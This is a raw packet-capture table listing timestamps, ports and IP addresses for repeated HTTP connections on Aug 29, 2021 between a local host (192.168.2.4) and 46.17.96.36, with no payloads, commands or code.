Aug 29, 2021 22:27:45.222850084 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.222872972 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.222898960 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.242002964 CEST	80	49830	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.242129087 CEST	49830	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.256268978 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.256373882 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.256422043 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.256469965 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.256901979 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.295049906 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.295200109 CEST	49829	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.357239008 CEST	49829	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.357520103 CEST	49830	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.366785049 CEST	49831	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.390958071 CEST	80	49829	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.391084909 CEST	49829	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.392261982 CEST	80	49830	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.392359018 CEST	49830	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.402345896 CEST	80	49831	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.405858994 CEST	49831	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.407157898 CEST	49831	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.442542076 CEST	80	49831	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.477009058 CEST	49832	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.485354900 CEST	80	49831	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.485479116 CEST	49831	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.511960983 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.512139082 CEST	49832	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.512695074 CEST	49832	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.512759924 CEST	49832	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.512928009 CEST	49832	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.513029099 CEST	49832	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.547605991 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.547652960 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.547688961 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.547733068 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.547769070 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.547804117 CEST	49832	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.547848940 CEST	49832	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.547863960 CEST	49832	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.548079014 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.548118114 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.548204899 CEST	49832	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.548228025 CEST	49832	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.583242893 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.583282948 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.583308935 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.583344936 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.583383083 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.583420992 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.583421946 CEST	49832	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.583466053 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.583470106 CEST	49832	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.583486080 CEST	49832	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.583506107 CEST	49832	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.583508015 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.583524942 CEST	49832	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.583538055 CEST	49832	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.583544970 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.583556890 CEST	49832	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.583575964 CEST	49832	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.583596945 CEST	49832	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.583619118 CEST	49832	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.583673954 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.583967924 CEST	49832	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.589498043 CEST	49831	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.590193987 CEST	49833	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.618577957 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.618613958 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.618637085 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.618671894 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.618700981 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.618767977 CEST	49832	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.618844032 CEST	49832	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.618861914 CEST	49832	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.618980885 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.619009972 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.619033098 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.619098902 CEST	49832	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.619106054 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.619162083 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.619389057 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.619419098 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.619498968 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.619657040 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.619739056 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.619767904 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.619959116 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.619982958 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.620337009 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.624891043 CEST	80	49831	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.625032902 CEST	49831	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.625713110 CEST	80	49833	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.625799894 CEST	49833	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.628518105 CEST	49833	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.653740883 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.653791904 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.653934956 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.654026031 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.654062986 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.654122114 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.654364109 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.654400110 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.654442072 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.654860020 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.663855076 CEST	80	49833	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.691963911 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.692317963 CEST	49832	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.704760075 CEST	80	49833	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.704883099 CEST	49833	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.827680111 CEST	49833	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.827975035 CEST	49832	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.828984976 CEST	49834	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.861100912 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.862782955 CEST	80	49832	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.862921000 CEST	49832	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.863202095 CEST	80	49833	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.863276005 CEST	49834	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.863348961 CEST	49833	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.870541096 CEST	49834	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:45.902570009 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.944459915 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:45.944567919 CEST	49834	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.429297924 CEST	49834	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.429374933 CEST	49834	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.429548025 CEST	49834	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.429627895 CEST	49834	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.462333918 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.462371111 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.462382078 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.462398052 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.462414026 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.462493896 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.462510109 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.462553024 CEST	49834	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.462610006 CEST	49834	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.462629080 CEST	49834	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.494604111 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.494626999 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.494688034 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.494704962 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.494832039 CEST	49834	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.494915009 CEST	49834	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.494939089 CEST	49834	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.495335102 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.495474100 CEST	49834	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.527029037 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.527066946 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.527151108 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.527256012 CEST	49834	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.527321100 CEST	49834	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.527349949 CEST	49834	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.527374029 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.527401924 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.527427912 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.527452946 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.527595043 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.527784109 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.535310030 CEST	49834	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.537231922 CEST	49835	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.560940981 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.560981035 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.561322927 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.561374903 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.561397076 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.567869902 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.573019981 CEST	80	49835	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.573390007 CEST	49835	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.574080944 CEST	49835	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.604532003 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.604808092 CEST	49834	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.609469891 CEST	80	49835	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.653001070 CEST	80	49835	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.653856993 CEST	49835	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.774283886 CEST	49834	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.774349928 CEST	49835	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.775379896 CEST	49836	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.806535959 CEST	80	49834	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.806669950 CEST	49834	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.809798002 CEST	80	49835	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.809891939 CEST	49835	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.810329914 CEST	80	49836	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.810802937 CEST	49836	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.810924053 CEST	49837	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.811566114 CEST	49836	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.846554995 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.846672058 CEST	49837	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.846777916 CEST	80	49836	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.847887039 CEST	49837	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.848011017 CEST	49837	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.848124027 CEST	49837	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.848232985 CEST	49837	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.882488966 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.882517099 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.882688999 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.882707119 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.882714987 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.882788897 CEST	49837	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.882837057 CEST	49837	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.883003950 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.883198023 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.883213997 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.883223057 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.883337975 CEST	49837	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.883707047 CEST	49837	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.889429092 CEST	80	49836	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.889514923 CEST	49836	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.917650938 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.917695045 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.917722940 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.917790890 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.917854071 CEST	49837	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.917890072 CEST	49837	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.917941093 CEST	49837	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.918011904 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.918158054 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.918194056 CEST	49837	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.918200970 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.918231010 CEST	49837	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.918363094 CEST	49837	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.952500105 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.952522039 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.952533007 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.952565908 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.952599049 CEST	49837	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.952766895 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.952806950 CEST	49837	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.952852011 CEST	49837	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.953006029 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.953118086 CEST	49837	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.957214117 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.957268000 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.957362890 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.957379103 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.957459927 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.957474947 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.957488060 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.957673073 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.987200975 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.987220049 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.987278938 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.987728119 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.987750053 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.987765074 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.987778902 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:46.995812893 CEST	49836	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:46.996927023 CEST	49838	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.045319080 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.045350075 CEST	80	49836	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.045377970 CEST	80	49838	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.045444012 CEST	49836	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.045484066 CEST	49837	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.045562983 CEST	49838	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.049220085 CEST	49838	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.084400892 CEST	80	49838	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.126179934 CEST	80	49838	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.126332998 CEST	49838	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.274152040 CEST	49838	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.274470091 CEST	49837	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.275712967 CEST	49839	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.279036045 CEST	49840	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.309099913 CEST	80	49837	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.309123993 CEST	80	49839	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.309159040 CEST	80	49838	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.309312105 CEST	49837	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.309359074 CEST	49838	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.309364080 CEST	49839	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.310086966 CEST	49839	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.313515902 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.313698053 CEST	49840	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.314251900 CEST	49840	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.314394951 CEST	49840	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.314780951 CEST	49840	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.315040112 CEST	49840	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.345033884 CEST	80	49839	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.346379995 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.346401930 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.347234011 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.347249985 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.347398996 CEST	49840	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.347702980 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.347727060 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.347750902 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.347810030 CEST	49840	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.347862959 CEST	49840	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.379858017 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.379893064 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.380009890 CEST	49840	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.380050898 CEST	49840	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.380228996 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.380256891 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.380280018 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.380305052 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.380328894 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.380422115 CEST	49840	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.380494118 CEST	49840	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.387438059 CEST	80	49839	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.388070107 CEST	49839	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.413216114 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.413254023 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.413275957 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.413300037 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.413326025 CEST	49840	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.413357973 CEST	49840	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.413372993 CEST	49840	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.413636923 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.413744926 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.413813114 CEST	49840	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.413901091 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.414433002 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.414835930 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.414859056 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.414872885 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.415236950 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.415254116 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.447098970 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.447148085 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.447165012 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.447177887 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.447192907 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.447223902 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.484462976 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.484826088 CEST	49840	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.496289015 CEST	49840	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.496829033 CEST	49839	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.499671936 CEST	49841	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.529273987 CEST	80	49840	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.529536009 CEST	49840	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.531677008 CEST	80	49839	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.531743050 CEST	49839	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.535918951 CEST	80	49841	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.536039114 CEST	49841	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.537049055 CEST	49841	80	192.168.2.4	46.17.96.36
